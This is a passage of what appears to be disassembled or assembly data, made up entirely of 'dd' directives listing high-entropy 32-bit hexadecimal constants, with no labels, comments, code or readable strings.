		dd 8A541CE9h, 0B88F2ED3h, 337AC684h, 0B4A34981h, 38923B32h
		dd 2785EFA7h, 5307307Ah, 0F1B02BB7h, 0FC83F805h, 88DD1CB8h
		dd 66D596FAh, 0FB2D2005h, 54594AF4h, 0A90FAD29h, 2B0276F9h
		dd 52D7C5E3h, 1084A90Bh
		dd 0E90A5AF4h, 40EAA2CDh, 47D42DBAh, 2F9C6AC8h,	3420295Ah
		dd 94BA1E90h, 0A5549737h, 0A4F73887h, 5E7D30C2h, 0C15C0555h
		dd 0D0CA05E5h, 2AFE292h, 0E01A61BBh, 0FC89E027h, 54770C2Ah
		dd 62E8DA21h, 0DBCBE841h, 8E8E2840h, 0A1609F08h, 4441858h
		dd 91FC7ECh, 0BBF876C2h, 14CB5C5Eh, 2D7A7F6Ah, 2D402DC0h
		dd 3D20BA24h, 82163502h, 0C13EE1BFh, 0BE93D85h,	21B71Ch
		dd 613BB53h, 16F71801h,	0F8C143DBh, 30CB3C92h, 10E908D1h
		dd 0D7F3C2F1h, 29705E5Ah, 0EFB85000h, 0D17665Fh, 0F51EA28h
		dd 9C2D4849h, 0B15A08A4h, 4EB0E32Bh, 62B76D1Dh,	0E907027Fh
		dd 60AC4A02h, 4EA87A0h,	7E5CF281h, 80A1C750h, 0CAC3999Fh
		dd 0FB90E916h, 0AC2272F5h, 0B449915Eh, 0C41C68DCh, 9CAA42FAh
		dd 9D40F72Bh, 4E49775Dh, 0FB0EC505h, 0A408AA68h, 24E577F2h
		dd 5291F29Fh, 9DFC9C58h, 0E38E6BE7h, 365F815Eh,	0F07BA697h
		dd 5909A910h, 7CB32C87h, 172282FCh, 0CAFA9A89h,	694EECF6h
		dd 0B2F3218Ch, 0A1BD0C40h, 0F5768771h, 50DA56Bh, 9B90910Fh
		dd 15E31B8h, 2705703Fh,	3CB6E2F3h, 0AE680952h, 69837E49h
		dd 0E9BB2155h, 0C429430Ah, 0A4182C3Ch, 0EEC1508Dh, 82810239h
		dd 13250BACh, 4947C101h, 0A1649A64h, 0B32E02B6h, 329896D0h
		dd 1226BE8Fh, 1286E85Fh, 4F8F985h, 6C8C0492h, 15D012Ch
		dd 0CFCD5EF1h, 62CC297Bh, 0D42D2EFh, 42C8B70Fh,	5BDAC89Fh
		dd 6DE0ED21h, 3983CD47h, 5EFF00D7h, 484BD565h, 26603EF0h
		dd 29E72EDh, 0F43514ECh, 1CD1861h, 6A2C885Ah, 6BD9E53Eh
		dd 2030B07Ah, 0C9B42B0Eh, 0A094EE00h, 4F219947h, 47238DF2h
		dd 0C5DD2571h, 83791C84h, 0FE7EE9EBh, 0F2C58F2Fh, 0DA6CB5F9h
		dd 8D8EA05h, 54C109D0h,	29013D3Ch, 27173ED1h, 0A548DBECh
		dd 0E5408307h, 8118EC7Ah, 61AC204h, 0E285A788h,	0B152E5A0h
		dd 25D3AE9Eh, 0DE963E8h, 85183C5Dh, 52AB45A6h, 501503A1h
		dd 6C96AB69h, 4F3CA701h, 0C1F18146h, 0B44934C0h, 3A6B2CABh
		dd 9CF331D0h, 0EBB0530Fh, 0E5304187h, 2F33A60Eh, 296E1A7Eh
		dd 8253EDAh, 0AD1F74F2h, 85AD5D8Ah, 2FF58C4Eh, 8407E32Fh
		dd 40AC2AE9h, 5522B800h, 26356FC0h, 47E80BD3h, 8515216h
		dd 823EA798h, 0F3798368h, 6FE04078h, 91D983D9h,	0BF992E26h
		dd 0E9A46978h, 294A89F1h, 7264F474h, 0C0682302h, 1D696982h
		dd 4682A3D4h, 0EE3B0E30h, 675F0982h, 7D7C57h, 96AE358Bh
		dd 0C1885F1Fh, 62D63D3Ah, 346807B2h, 0D8B232D3h, 43C15417h
		dd 8395C331h, 57CCAE37h, 478FCD05h, 38E15981h, 0FE7F882Fh
		dd 506655C4h, 323FD3B1h, 6C547453h, 7244B900h, 0B5F7581Dh
		dd 43808E3h, 0BAC849h, 7757865Fh, 91CD96E9h, 2E03037Eh
		dd 0C0933D6h, 82022ACFh, 7CC07849h, 47FE62C2h, 8F806FF4h
		dd 310DF4D2h, 685B09D8h, 6CB059BAh, 7C2C7838h, 7B002B37h
		dd 0F7120671h, 0CB7897D2h, 24AB16CEh, 25F99A77h, 7FABC525h
		dd 7A4C0E0Dh, 0DB256CCAh, 0EE2CD6C0h, 27D0282Ch, 49281013h
		dd 787C2768h, 0B8090566h, 77454717h, 79D11400h,	0F6EC07E4h
		dd 44119301h, 9114E905h, 0C5A4BA2Ch, 0B909C815h, 177E259h
		dd 0F78101C7h, 8CC48748h, 3E9CBF31h, 5218D125h,	0A8314B29h
		dd 0DA267B7Eh, 1FA4EEA8h, 0CCA8101h, 80CE2275h,	0EB273F8Dh
		dd 26B904Dh, 0BCA32DA1h, 6540D501h, 118AB8DFh, 0C26C04CBh
		dd 9AB51A5Dh, 289042E5h, 0F7557810h, 0E10178C3h, 0F651692h
		dd 5C40A32h, 1E29BB02h,	6485057Ch, 0B2AA3569h, 7CE9C22Fh
		dd 9735E496h, 312AD852h, 0F20BF6Ch, 0B5390B9h, 0ED46458h
		dd 15308F2Ch, 3C271107h, 94D4E953h, 5B212CEAh, 0A09566B5h
		dd 4EF6E948h, 0BAF6752Fh, 0BA73D02Ch, 8F5B5EE1h, 685C05BFh
		dd 68BC3E43h, 171F14C0h, 0F8280533h, 483CBF78h,	681DA5E9h
		dd 81C782FEh, 38B7D29h,	0AC8799Bh, 0B2B9B501h, 865F0D90h
		dd 801F630h, 8110AF45h,	36E841CDh, 0F4681212h, 8E80600Fh
		dd 0E7A1792Bh, 3F5D30C5h, 0F5291F1Eh, 7F08ED14h, 8ABCE91Ah
		dd 63D0D48Ch, 0ACECF65Ch, 3CE4C491h, 19A54089h,	49473DDCh
		dd 0F72E42CDh, 68D5F1Ah, 0FB9B208h, 639B2F4Eh, 8705C1E9h
		dd 464CEE1h, 7D05B6BEh,	16D1D4E0h, 0D957Ch, 37CACE7Fh
		dd 0CC21801h, 763D80h, 0E46CFEEEh, 1163EB5Dh, 0A75AC821h
		dd 1C878838h, 6385AFE9h, 0C45EAF05h, 66EDDE89h,	7DA5173Dh
		dd 0F8A3A1CAh, 0E64ED63Ch, 9DDA64C6h, 0FBDAB893h, 4259BA57h
		dd 0D5637h, 0A0685657h,	0C0BFE616h, 9A1FDC25h, 8E42863h
		dd 98A09717h, 5D72A7BBh, 74152248h, 0DDA28D18h,	97A075Ch
		dd 0DF012349h, 2508FE08h, 0BF41F905h, 2DAF4E74h, 4E6D3C9Ah
		dd 205D3649h, 678859B8h, 92669628h, 0BFC3E006h,	5011E418h
		dd 960E922Ch, 81FD93DBh, 0C8C53130h, 6B2D68E8h,	0B1FEE632h
		dd 9FCC2051h, 1E9717B0h, 0F01144BDh, 0BBAF543Fh, 575913CFh
		dd 0E26915Bh, 36154804h, 6B39D5Ah, 4E406809h, 88D47F9h
		dd 2120D1D4h, 6E30003Dh, 6E6C14Bh, 0B8B0EED1h, 6D2F5096h
		dd 725C99B2h, 0DA8E3AEBh, 0CBC85D2Dh, 0C32F61EBh, 8B141051h
		dd 63E4B50Bh, 6F299481h, 0B66049D8h, 0AEBD2A29h, 9A491C3h
		dd 6FD41D9Eh, 6C8BEED9h, 177C0217h, 192458C7h, 417577E4h
		dd 5F154787h, 0C3999DDh, 5ACAD8E0h, 0BD6383B1h,	40299990h
		dd 1CEF5F8h, 0D159DA5Bh, 512BE9EDh, 7F0768ADh, 0F4F917D3h
		dd 6427A8F6h, 0BB31C805h, 0CBAFF41h, 7A9D6FA3h,	7C058BD7h
		dd 0C6C5AB00h, 0C17CC7CBh, 0AE9F8095h, 0C178B55Dh, 1247AC0Ch
		dd 2EDD21BDh, 46A7AA5h,	5B97941h, 27BA5153h, 94A3C4BDh
		dd 6600DC49h, 10883152h, 0AD1786EDh, 0C832002Dh, 63E20522h
		dd 5233FB18h, 51B5BAEh,	0FA89089Eh, 9D48825Fh, 6853E00Fh
		dd 0F25AFBh, 0D3F75B66h, 0D409F381h, 0E976707Ch, 7B8C0B9Dh
		dd 0AC332657h, 0FA720AE6h, 724BCB96h, 6B2570E9h, 55056CD2h
		dd 315F46E9h, 6CE4FD1Ch, 138B5F22h, 5EABCA4Bh, 814816B3h
		dd 75505B00h, 52F50134h, 0D2D7E919h, 0D7443287h, 0F5A8895Ah
		dd 4E200FB4h, 0D30124E0h, 0F8FA223Bh, 813FC045h, 1C1077CBh
		dd 582858h, 30BF2D36h, 0CBCD44E9h, 0B29A3CBDh, 0C2D9A2CAh
		dd 0C648F4EBh, 449F6513h, 1E4A20C1h, 101CBB2Fh,	181D8100h
		dd 0E511F24h, 0EC01295Fh, 8BA0B908h, 0E9E10E5Ch, 9CCBB1C4h
		dd 6D2287E0h, 8C843FBDh, 3A13B33Ch, 55C5DCC2h, 398A7FC7h
		dd 0E821BBD8h, 0F8A5C9A5h, 2A4B252Ch, 80C31CF6h, 0C34F2733h
		dd 0C65181EAh, 0EFE95540h, 8B0894DBh, 0AF785DEAh, 1F7B2320h
		dd 0A8013FC3h, 3C1BDECFh, 5A259345h, 0DFD0D91Ch, 0B7C45629h
		dd 0D777D26Eh, 0B80C5FC4h, 0C35B037h, 9BAF17B3h, 0CCEF88Bh
		dd 97246851h, 123B5EE9h, 0CE1EFB43h, 36510A13h,	592DF61h
		dd 288092E0h, 0F3870FE1h, 258AF1D8h, 9A2CF20h, 0CE90B8EBh
		dd 2B245EE0h, 0C11C9F70h, 78016BE4h, 29549F7Ah,	5F5EBF8Dh
		dd 0E90C01A6h, 5EFF3C94h, 442F4E29h, 0A823E9A8h, 0B4B013D1h
		dd 0F6C5E4E0h, 0F72EBD41h, 0AD9E7AC4h, 55E40570h, 96FC1DB9h
		dd 74AF3704h, 7292EA23h, 2FF476C6h, 0D95BEF7Ah,	68030FB3h
		dd 458F6921h, 93EFA802h, 0FE185A09h, 0E3C10C4Fh, 1DBC0134h
		dd 146BB903h, 0C788683h, 1C7640C2h, 28396E0Ch, 0D98716E8h
		dd 40FACFF0h, 1CFEADC8h, 5DEF352h, 3088091Eh, 49199700h
		dd 1331AC73h, 0E86DE9F7h
		dd 0AECB5B6Fh, 164A7Fh,	647FBF4Fh, 4EC069DFh, 687532F4h
		dd 0B4194FE9h, 8A91C281h, 9E5A10DBh, 0C1844FA4h, 680916BDh
		dd 0EFCD7E2Fh, 0DD446809h, 38D66422h, 1E6083F6h, 0FA0AF73Ah
		dd 0A63CED8Ah, 0DA5F0F92h, 3B161566h, 7CC3F67Dh, 896B35B8h
		dd 16202D43h, 125179D9h, 0EF803970h, 5031803h, 3C47B1C4h
		dd 4B307D4h, 0C229A776h, 8E1C8858h, 520A379Ah, 0BEB582B2h
		dd 0D49108h, 0C04BC280h, 25F606EAh, 301693FFh, 27B16223h
		dd 7EEFBA8Bh, 0A1E52Fh,	1A0ABB53h, 37B07BF5h, 580D0E69h
		dd 7944A279h, 8479AD65h, 2C1DE8CFh, 0C3819C82h,	4DD75D3Bh
		dd 7AB2EEB0h, 4920AE26h, 72A55B0Bh, 0A4660902h,	0E1F60174h
		dd 0E8B4123Fh, 0AEC5F0B8h, 311D91B0h, 0E38970EBh, 0BD20270Bh
		dd 0D8DC8474h, 538062FEh, 0BA773FC0h, 557C5981h, 12DF0F84h
		dd 5F5DD109h, 0AD1A8D02h, 0E4E04D2h, 5A8405CCh,	3DC6E3D9h
		dd 0E0E23990h, 0A025C1B9h, 0A6C05A86h, 0FCE91296h, 16F28BEh
		dd 24B0F94Ch, 0DEA5A226h, 58C1C2ADh, 4CAFCD59h,	9F0A35B8h
		dd 686E20CBh, 0D890158Bh, 3A5AA389h, 0EE864BF6h, 0C7018FF6h
		dd 0CC96096Fh, 55F5DF31h, 301D377Ch, 0FE60CDC3h, 0D4A03B67h
		dd 49D02EAh, 0D389B60Bh, 15A8FAF9h, 632D1CE8h, 47F5A40h
		dd 0AA6BADEBh, 971E8061h, 0E85B8264h, 5306B97h,	783B4844h
		dd 54552C42h, 14755A5Eh, 0F7555E40h, 78AF40E2h,	3D33753h
		dd 885325B5h, 5BDA90EBh, 0E2D02859h, 305C3A91h,	3610A252h
		dd 2BC58E3h, 16357E53h,	2F27647h, 3CE56730h, 21D69180h
		dd 90B845CEh, 11E92Fh, 772BBA5Fh, 0B0715EC6h, 0DD4EF723h
		dd 97FC39A0h, 5FC16D92h, 3B8C2EC4h, 1C3E4C12h, 0D0F758C0h
		dd 59765051h, 620E9E8h,	0D35C189Ah, 81D13224h, 2B71092h
		dd 29FE91FFh, 755F5EEEh, 7DF04614h, 54D8ED02h, 725A1A2Dh
		dd 0BCF8203Bh, 59FE3CA3h, 1B27457Ch, 65FA5E40h,	2A45F137h
		dd 582150E0h, 0C51F23FDh, 807D5753h, 0E23D1FA2h, 20C596Eh
		dd 751BCA04h, 0D00156C0h, 8899E91Bh, 6835C044h,	56122654h
		dd 0D189A76Bh, 0F28169D4h, 782576Ah, 7FAA3120h,	0C9604C7Eh
		dd 0C9F35905h, 2D80B005h, 0AC1A8F3Eh, 13120B27h, 537ABCCDh
		dd 443E1D42h, 0BB22B05Eh, 900DE886h, 5DFBCCD8h,	9A4BE4FCh
		dd 0CE7F4E47h, 0FC89D9B2h, 0B6D85A6Fh, 0DB21215Fh, 0DA3B6366h
		dd 0C8331E5h, 0E2FF0E9h, 1422BE98h, 6057092Ah, 90EBD161h
		dd 21A102F5h, 0C3010E30h, 50CC945Fh, 2568BC89h,	90987392h
		dd 301343BFh, 21E00906h, 305E5D2h, 9119C862h, 7E1DEC85h
		dd 813FAF41h, 2DCE3C13h, 0C1A2D30Fh, 0A1BD55C0h, 635A9C4Eh
		dd 87E975C0h, 3B85DE1Fh, 0F890D496h, 0F5F3D354h, 0A077FFC7h
		dd 65685052h, 6D754E12h, 0B4825F05h, 0EFA020BBh, 7C4C1EF8h
		dd 0B844FE9h, 0B35E43CBh, 90E9090Dh, 8E55303Bh,	1964BF02h
		dd 6B495C4Bh, 0A4497659h, 0A28C1278h, 0C0E310F7h, 0C39BE04Bh
		dd 4471FE0Fh, 0B2D0A461h, 836FB7B5h, 0C8FAE602h, 2A047AE1h
		dd 959F2BA3h, 204EC224h, 3D101C9h, 0C8F66E7h, 8E54575Ah
		dd 0B1F7404Bh, 0C180EF1Dh, 0AFF4C8AFh, 0AD16FF6h, 28BC2C80h
		dd 5EB251C8h, 51BC1A4Bh, 1532E0D5h, 5555812h, 0DF01FDD6h
		dd 2CA71B51h, 222B9D0h,	0E91AB437h, 4FF9F874h, 55ACBA0h
		dd 0CCE337F5h, 55A2B9E9h, 89C41855h, 609391FDh,	0D8224C2Dh
		dd 0E8017918h, 325DF030h, 39CC4F73h, 847999FDh,	7BE7864h
		dd 799A3848h, 3E2A03B8h, 8EDAC2CDh, 0F5016BFAh,	2908BC6Ah
		dd 59D0244Ch, 0BF882CE9h, 533351A5h, 3D05DEFAh,	28996852h
		dd 94FFDFDh, 4B8288B5h,	5304D738h, 3DB0C380h, 1C3C4C10h
		dd 820DB234h, 0A05719E2h, 0C283083Fh, 45EB95FFh, 0D132B9C8h
		dd 0E421630h, 175B3CE6h, 2DD031A0h, 4EDF38AAh, 688E5ECBh
		dd 0F73218A9h, 8DECA55h, 14286A8h, 15E9027Ch, 0E45B735Ch
		dd 44775C22h, 6C7C0002h, 5D055E2Eh, 165CD065h, 8FE912ADh
		dd 96358D40h, 5A58CAD4h, 5FB5C750h, 0AB2CFDE5h,	0CA3A9C29h
		dd 405050CEh, 2E20BDD2h, 0AB5E0668h, 14D8C167h,	5B24CA3Fh
		dd 1BBFBA24h, 5D825390h, 0AB0C55F0h, 0C121F44h,	0D6600F4Fh
		dd 1097292Eh, 7B580830h, 3AD4EB45h, 3975927Eh, 5EB1F309h
		dd 2BA3DE9Eh, 0EAEC90DDh, 0D79297B3h, 0D32C2ADFh, 2707A528h
		dd 5105FB3Bh, 176710ACh, 0B4DAE69h, 0F809FF45h,	3B384ED4h
		dd 70FBFE4Ch, 89A838A0h, 0D6B00AB6h, 68881D4Fh,	0E4513825h
		dd 7D4DA6Fh, 4F268758h,	0A0864FCBh, 667C3420h, 0C0C5CB73h
		dd 47902B95h, 1D2705D0h, 4155BF07h, 37A96436h, 8ECB2A5Ah
		dd 0ECB81F16h, 72BAC0FEh, 0FD0B1B5Fh, 406BC7E9h, 62F75ADh
		dd 0C1BD3158h, 46425AC7h, 16085668h, 0C9301D0Fh, 88461E07h
		dd 0A07D832Fh, 4D33D198h, 2F38B01Dh, 493ADA52h,	12F5513Ah
		dd 4FE6C48Bh, 9357AD53h, 0BEB28D8h, 5A8B5DDAh, 0D524D6F8h
		dd 6885E699h, 83C87121h, 5246B413h, 8706F1F0h, 130BB67h
		dd 0A444F87Bh, 325E4C0Ch, 6435E513h, 0A821C459h, 8CF3F7EEh
		dd 5A0A241Ah, 0C25345BCh, 0AD488DA9h, 0B9276425h, 250E5C74h
		dd 218B335Eh, 500474F1h, 0BF807F0Eh, 0CE750950h, 3875318Ah
		dd 262ED02h, 0E97B6E08h, 50D1CDF1h, 110D133Ch, 0ADC49ABCh
		dd 6C39EAB0h, 827445F9h, 6F681358h, 1A30AE17h, 24F330C8h
		dd 2D395A0Bh, 0E917B2C6h, 55F22FA5h, 0F29FD585h, 844594ECh
		dd 0CEEB883Fh, 388441DDh, 685705DBh, 4A9A1F95h,	41109E4Ch
		dd 715E25A9h, 8360B21Fh, 855B6603h, 0D16AC5F5h,	2603B347h
		dd 9C455B03h, 1D922959h, 0A01FFA97h, 82D9AC2Ch,	3ECC825Dh
		dd 4158DEE1h, 0E9366205h, 3A15351Ch, 0DA1723A6h, 0B4C0F805h
		dd 0F23099BBh, 531A7509h, 0AE24930Ch, 0E495303Ah, 0AC25AC0Ch
		dd 747A04CEh, 2B814A0h,	68011BE2h, 5E231E73h, 0DF1C562Fh
		dd 2FAB65B7h, 6885ECCAh, 3FFEA40Ch, 50978592h, 0A2FAE60Dh
		dd 0BE645FBCh, 2D7BFD45h, 7AF23E26h, 0FF4125DEh, 0CB06BBAh
		dd 1629FE0h, 2F044561h,	9D844CD8h, 72C21DA7h, 50548F7Bh
		dd 32508FB8h, 292A6919h, 9AA35B98h, 464069CAh, 2099194Fh
		dd 0B174FE25h, 2108272h, 4480F545h, 3431633h, 0D190C176h
		dd 7A6E549h, 300CC8FEh,	7F05194h, 91EE5E04h, 7C08B62Dh
		dd 9B9D1B1h, 9A5E9768h,	0ECB34095h, 1C049D79h, 0C1D8C059h
		dd 693B63FEh, 76C90261h, 751D492Dh, 0DBF14EA0h,	74FF6BFh
		dd 0D9032616h, 0FA3F67D2h, 99C38058h, 4E13F739h, 0A334E029h
		dd 0F22D2EB6h, 53E15FCBh, 0BBC685F5h, 90D51867h, 257B57B7h
		dd 0AE6EC474h, 9CFDCF4Eh, 21A8E982h, 0D3C0114Ah, 0C0305B96h
		dd 767AB40Ah, 0DE33608Dh, 2E0F41DAh, 59CD8912h,	480627C6h
		dd 0C6006F05h, 1D60BB7h, 182CE9C5h, 886355F7h, 5BD891F3h
		dd 22D8043Ah, 0BF6802DEh, 0B7C8D13Ch, 4C880C0Fh, 6E464714h
		dd 60632A1h, 40DE0B08h,	42CA0102h, 3B825CDDh, 3897FBBEh
		dd 5B58F9F4h, 7414746h,	4C884952h, 96CB2517h, 0F50B4A35h
		dd 50F29613h, 247D0564h, 0AB012228h, 4008E610h,	2BF99CC8h
		dd 0E0ABFF41h, 162ED63Bh, 0A5B3FCABh, 680B73E2h, 0E4F96A6Eh
		dd 0C34EAC97h, 0C47AC557h, 0B1816A4h, 2937174Eh, 8C8622Ah
		dd 8101D707h, 487723CFh, 0F75270h, 0DB27EC7h, 0BE5FF889h
		dd 6B095000h, 0E9C601D4h, 0E3AA58CEh, 0B2600E81h, 0A31A302Fh
		dd 8B78A616h, 0A7109FA9h
		dd 0D6F700A4h, 0D8F68146h, 76383F47h, 8A45362Ch, 964D5Dh
		dd 0C0E58106h, 83FD6761h, 0A038255Ah, 88EEE016h, 0EA4B0BF7h
		dd 0DAC5F531h, 69188912h, 3561DA28h, 10A811A8h,	0E90A087Ah
		dd 8BCCDF09h, 504005E2h, 3B18EAC2h, 0A8706C8Dh,	6573F2E7h
		dd 0B4F7BF29h, 378EF45h, 59B9B854h, 5CA8554Eh, 0AE49B784h
		dd 42CCF892h, 19A4581Fh, 3C5BDF87h, 0E2AF4008h,	2D48665Dh
		dd 5C6A0503h, 0B5004AF3h, 78E9BC6Bh, 40540B05h,	0C4842AD8h
		dd 266614BBh, 0B1AB229Ch, 40DF4225h, 4864E90Bh,	0CAA3C1A4h
		dd 0A28EECF5h, 69D0565Ch, 0A7517FDCh, 98310920h, 7E4B023Eh
		dd 0D1213DD5h, 5107C900h, 0F4E7671h, 5014C3E1h,	0C42618D9h
		dd 9A90741Fh, 5F362309h, 16B07975h, 84CEE902h, 0A110C98Bh
		dd 36C25F25h, 84B0ED7Dh, 0AB387768h, 0CB95D732h, 49AEF537h
		dd 0FCA094DDh, 8066B753h, 927EE739h, 9EF851EFh,	0FA2BF71Eh
		dd 58E97DFFh, 89A2B012h, 0D8120105h, 0DE6A61FEh, 0A560335h
		dd 0CE7DCD30h, 409F16BAh, 3ABF57DBh, 644B743Dh,	3324ACA9h
		dd 9051A5A9h, 772AFBA4h, 2F1DECB5h, 26797A95h, 2EC2BE81h
		dd 4AF84C94h, 26F092EAh, 6F624F0Bh, 0E98B0108h,	7DDE2A42h
		dd 0DF604B02h, 0C17B4037h, 25AC2822h, 1A190EE5h, 0E9C246B8h
		dd 9672B1CFh, 9A30F20Fh, 0D3DF6E41h, 0F29E4DB2h, 46D988E8h
		dd 93A05A97h, 281D1604h, 61683D8h, 1B92575Eh, 0F65A6289h
		dd 49FA3F19h, 0E325BC93h, 600F0378h, 0DD6F9C33h, 3FE579D9h
		dd 0F886A09h, 0FCE64AE3h, 0CF40B4D0h, 2896664h,	775931E9h
		dd 71A9847h, 0D0D0F1A5h, 6FF6D786h, 196508D2h, 4AE8E393h
		dd 32B34DFCh, 165C4F3Bh, 0EABD30F4h, 9311B296h,	4A6861FBh
		dd 0D8302531h, 179CA2EBh, 0C0CA204Bh, 0BD03AB52h, 0E985944Fh
		dd 0B64F782Dh, 0C0B5A37Ah, 12ECEFE8h, 0E0D0015Dh, 0C188C634h
		dd 1C086858h, 9FC95C9h,	0C1D5E96Ah, 77FA016Bh, 0C254A727h
		dd 147F9F27h, 0D6D6F887h, 5026BCF7h, 6B007277h,	0AFBA68A0h
		dd 0B6B29C95h, 8EA82C6h, 0AF56C8E9h, 0D9A38F17h, 0E6E25B73h
		dd 0CFA248Fh, 7C02EA0Bh, 0D048C547h, 6B5E680Ah,	5A087113h
		dd 96697FE0h, 0C8D4252Eh, 15E91656h, 4F08C03h, 0FC27EDB6h
		dd 55F07AFCh, 0B7971320h, 4A7DC0E2h, 563B8364h,	0C24102D1h
		dd 0F42E8BB2h, 52A5E27Dh, 2C61349Ah, 0AE1984DDh, 0B679FC98h
		dd 17C89216h, 2DF1E2C5h, 68A98362h, 622F96F2h, 32013B69h
		dd 746B06D1h, 0AC1A503Eh, 7A8018B5h, 6F6497BDh,	0E879CD1h
		dd 0BB3F580h, 2DB754E8h, 0E2A56DD3h, 0B05984F8h, 0F34BCCF8h
		dd 0BAB5408Fh, 7F12C502h, 7DE2FEE9h, 14986E6Eh,	822DDE5Ch
		dd 61612F37h, 0AD97868Dh, 10E3BDFEh, 8101758Ah,	0FD150FF3h
		dd 2EC6EC31h, 4F79669Dh, 0ACF61265h, 396E8C34h,	5BD92730h
		dd 0F9FCC158h, 168741B7h, 935C664h, 45033242h, 0BF0117E5h
		dd 0DA906F93h, 815F957Eh, 2AFC75Eh, 0CF9C4059h,	26FA7B88h
		dd 4082A475h, 23084351h, 5BDE291Dh, 0C846ACFFh,	8539BCAFh
		dd 8B842941h, 0E1B05FFDh, 84FE8C1h, 407CB7A0h, 0D825E90Eh
		dd 0EF8CDC97h, 0E298E565h, 0E959076h, 52F6D488h, 53AD22BBh
		dd 6DBD8A41h, 0E08983DFh, 0AB1C1051h, 0C6FE01E1h, 8002E6C0h
		dd 0B6D0CBD7h, 6E2600Ah, 5AF13078h, 2898E1FCh, 0C9138B34h
		dd 0D2219704h, 3C192DBEh, 0D99D4BFCh, 0DE982A54h, 0E9F112F7h
		dd 0BBBAC05Bh, 3E20214h, 1485294Bh, 2D4C2CFBh, 0B42788A6h
		dd 0AD4E659Bh, 5CADC0F9h, 8F77C25Bh, 2552377h, 0DC85C956h
		dd 1F989C74h, 527B3925h, 3035C37h, 27EB80E3h, 58300601h
		dd 60DB6866h, 5107402Bh, 0ECB6A2B5h, 5BEE8026h,	0F17D1E0Bh
		dd 0A012922Ch, 22B65AECh, 1A9AEC2h, 6859C868h, 0E8CEC4BFh
		dd 96C1570Fh, 0EF3EB418h, 0C6571EF2h, 904B4F01h, 109DC193h
		dd 973C973Dh, 24E68FB8h, 62D3591Dh, 5973C82Dh, 5FFB40FCh
		dd 0F16DB09h, 0ED558A85h, 91522815h, 4BBA220h, 6802C783h
		dd 6C5CC8F5h, 511AED6Bh, 0E1F740DFh, 0B4AAA68h,	0C5C5DBFDh
		dd 0A756AC25h, 7EF8BDC2h, 52135470h, 5FBB42B6h,	0E93B42B5h
		dd 4F002F1Dh, 0F607F781h, 294A318Fh, 82D301D8h,	5535B04Eh
		dd 94E6073h, 0C5259FF4h, 3D59A5B9h, 0FFD55EE9h,	9881AFD5h
		dd 8703E3F2h, 4A64BBC4h, 0E9822BACh, 0E9A2B2ADh, 37713706h
		dd 0B742A780h, 9ABFE92Eh, 0EC66B178h, 5AD38131h, 8AAF17D4h
		dd 26224C73h, 0D95304B9h, 2328D870h, 1662D393h,	6AC8AFBCh
		dd 72C22E68h, 0DB006966h, 0E975E08h, 1E88316h, 160A37C5h
		dd 83A027FEh, 518F8527h, 0D801C0A1h, 32E9E957h,	94C1015Bh
		dd 313D87E6h, 933A4E7Bh, 218EE2C0h, 50C85AD0h, 9C2501BBh
		dd 0AF49D97Ch, 20C2F07Dh, 524ED40Ah, 27DF0CB3h,	0A95D72E2h
		dd 0F4C20B6Dh, 39E9582Ah, 8DCD9554h, 750B4295h,	6CAD436Dh
		dd 0ED6924AEh, 1468509Ah, 0A7214A65h, 2C2F4FF5h, 0CD72878Eh
		dd 0D7F7F91Bh, 0E9101C08h, 76F9AF5Ch, 595A47A0h, 5E108FF6h
		dd 0BE5613A2h, 472022BFh, 42BFF4F0h, 964140E9h,	50E53980h
		dd 0E65CD96h, 0E61FECFAh, 0BDB6202Ch, 68D09144h, 9C4C18E6h
		dd 128AEAD7h, 0EE491CB4h, 79ED2D40h, 0A06DC638h, 303C44A9h
		dd 730C7A11h, 0D1A0513Bh, 0E42CE9DDh, 9A40FD9Eh, 9D4F5B20h
		dd 0ACB00D78h, 93278A97h, 827F3358h, 0F45F02DFh, 8257091Ch
		dd 4BDF5E4h, 0AFDEEB58h, 20D3D45Ah, 0FA98E9E0h,	46F5D1C7h
		dd 765962B7h, 0D9052797h, 68A8F105h, 987A269h, 55238A62h
		dd 2BFAE95Eh, 9524665Dh, 145B02EEh, 99128EA3h, 0D64FF89Dh
		dd 0D8475ACh, 0C5310471h, 68A0D9B8h, 99BD6174h,	394FF50h
		dd 404EC829h, 7EB6C58Ah, 6B40EF5h, 0BD685107h, 0B7349869h
		dd 0D7F6317Fh, 3E92E904h, 0CAFDF312h, 1A54BB80h, 8B904681h
		dd 54E78997h, 0BC9CD823h, 5F205E81h, 0B4B6F247h, 95B9016Ch
		dd 3E14A30Dh, 42C37E0h,	929A255h, 0B223AEC1h, 3DF3C4ADh
		dd 0ACD5BC79h, 0FC030842h, 24ECB20h, 0D285A3B2h, 6BA2443Ch
		dd 9820EE70h, 0AA224268h, 25844E54h, 0FDF92DA7h, 4669572Eh
		dd 0EBC112F7h, 0EC340108h, 8260CA7Fh, 0AB23110Ch, 93E7007Ch
		dd 0E92D883Ch, 76D68E75h, 192CD600h, 2E282D34h,	3C0D58C3h
		dd 126F0666h, 6AEEFF1h,	0AA5760F7h, 21700DB8h, 0D7A15AB0h
		dd 877E30C6h, 4A8F9EB5h, 0F613B85Dh, 4CD90218h,	0CD013076h
		dd 80BD642h, 0BEE92368h, 8402BA5Dh, 0A7A41158h,	786F69C7h
		dd 0C925B066h, 6441F627h, 8722C4B6h, 55EC3FE1h,	0F1E07D0Ch
		dd 0DF6010DDh, 66948016h, 7E1C05Ah, 0BC70F1FCh,	605C91A2h
		dd 9A0F7F69h, 0FEFFEFE0h, 0E93D50C7h, 122E59EDh, 9F0B02C5h
		dd 0F3CB448Fh, 614DF483h, 30107A09h, 0DE62B047h, 102D5E1h
		dd 18BCCC7h, 0CC5E90B8h, 2CB2E91Dh, 0FA052F8Fh,	6546F4A4h
		dd 0C25B14C3h, 20B7F01h, 60911C18h, 0B7FA01A6h,	215243C4h
		dd 0B2E2299h, 0FC888FB7h, 802A7F16h, 3040FCF4h,	0DFE92727h
		dd 76EC07D2h, 43FA159h,	69C24CB4h, 1EBD4798h, 0C5C775F3h
		dd 0A7BC3FE9h, 4E5C321Ah, 0C92904F7h, 2CC6E921h, 14E75CC7h
		dd 1C69C34Ch, 2F560626h, 0E7003A1Eh, 508E726Bh,	0D1BD0755h
		dd 0C131CF29h, 0D81704CDh, 9B984D12h, 0EA467E09h, 8C388A39h
		dd 66B68F39h, 3B009215h, 0EE7880A2h, 86325DE9h,	3502F549h
		dd 4CB20A8Ch, 0A8F91DE3h, 0CBE82C0Bh, 0AC83402Ah, 62B10E51h
		dd 0F443E186h, 861D6F6h
		dd 8E40E910h, 3618892Ah, 3C135BDEh, 21FEFF12h, 52B320D3h
